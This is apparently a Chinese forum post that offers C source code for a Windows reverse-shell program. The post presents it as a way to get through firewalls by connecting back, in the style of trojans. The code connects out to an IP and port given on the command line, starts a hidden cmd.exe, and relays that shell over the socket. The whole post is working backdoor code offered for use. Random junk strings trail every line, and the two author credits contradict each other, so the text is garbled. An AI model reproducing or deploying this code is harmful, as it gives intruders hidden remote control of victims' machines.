这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D<^K7tJui
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/* ============================== \Dx)P[Ur
Rebound port in Windows NT v@:m8Y(t
By wind,2006/7 J>0RN/38o
===============================*/ OK:YnSk "
#include t1o_x}z4.
#include ]rO/IuB
cMAY8$
#pragma comment(lib,"wsock32.lib") =A/$[POr
PW*[(VX
void OutputShell(); 6.3qux9
SOCKET sClient; rWuqlx#
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1z8fhE iiE
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void main(int argc,char **argv) Lyjp
{ -
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WSADATA stWsaData; }pT>dbZ
int nRet; Vf$q3X
SOCKADDR_IN stSaiClient,stSaiServer; "Qe2U(Un
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if(argc != 3) JZ"XrS0?
{ 4m_CPe
printf("Useage:\n\rRebound DestIP DestPort\n"); DV~g
return; K=J">^uW
} 3TT?GgQ
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WSAStartup(MAKEWORD(2,2),&stWsaData); \'P79=AU
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?Aky!43
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stSaiClient.sin_family = AF_INET; Q~)A
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stSaiClient.sin_port = htons(0); 'u%SI]*;>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); '&iAPc4=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z+S1e~~
{ R lmeZy4.
printf("Bind Socket Failed!\n"); U{0!
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return; (0S;eM&
} l]geQl:7`r
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stSaiServer.sin_family = AF_INET; &jF[f4:7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D{iPsH6};5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wB%;O `Oh
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {pk&dB _Bu
{ 22v=
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printf("Connect Error!"); HVM(LHm=:
return; NYF
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} 4]ETF+
OutputShell(); 'X1/tB8*
} qyY]:
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void OutputShell() RjG=RfB'V
{ /8s>JPXKH[
char szBuff[1024]; 0/b3]{skK
SECURITY_ATTRIBUTES stSecurityAttributes; qfB!)Y
OSVERSIONINFO stOsversionInfo; Vg1MA
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; d)v'K5
STARTUPINFO stStartupInfo; :.F;LF&
char *szShell; XbW 1`PH
PROCESS_INFORMATION stProcessInformation; SQI =D8
unsigned long lBytesRead; {'q(a4
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); hkvymHaG
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,gn**E
stSecurityAttributes.lpSecurityDescriptor = 0; ~5wT|d
stSecurityAttributes.bInheritHandle = TRUE; @DCw(.k*
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |F52)<\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); C3e0d~C
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;Qdw$NuW
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Te&5IB-
stStartupInfo.wShowWindow = SW_HIDE; ~#9(Q
stStartupInfo.hStdInput = hReadPipe; !l#n.Fx&3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6^hCW`jG
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GetVersionEx(&stOsversionInfo); \={A%pA;@{
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switch(stOsversionInfo.dwPlatformId) U:O&FE
{ "A3V(~%!
case 1: %&S :W%qm?
szShell = "command.com"; j<_)Y(x>
break; ?wbf)fbq
default: pwr]lV$w
szShell = "cmd.exe"; 5s=L5]]r_j
break; s%S; 9T
} 'jd fUB
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 'n4
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send(sClient,szMsg,77,0); >`D$Jz,
while(1) 5TVA1
{ Lsz)\yIPj
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Jnf@u
if(lBytesRead) 8z'_dfP=5
{ jL9to6 Hmr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e6hfgVN
send(sClient,szBuff,lBytesRead,0); R{SN.% {;
} K._*
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else gqQ"'SRw
{ QAKA3{-(
lBytesRead=recv(sClient,szBuff,1024,0); Xmaj7*f>p
if(lBytesRead<=0) break; ;\)N7SJ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ) E(9
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} WeRX ~
} gC\^"m
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return; D;WQNlTU
}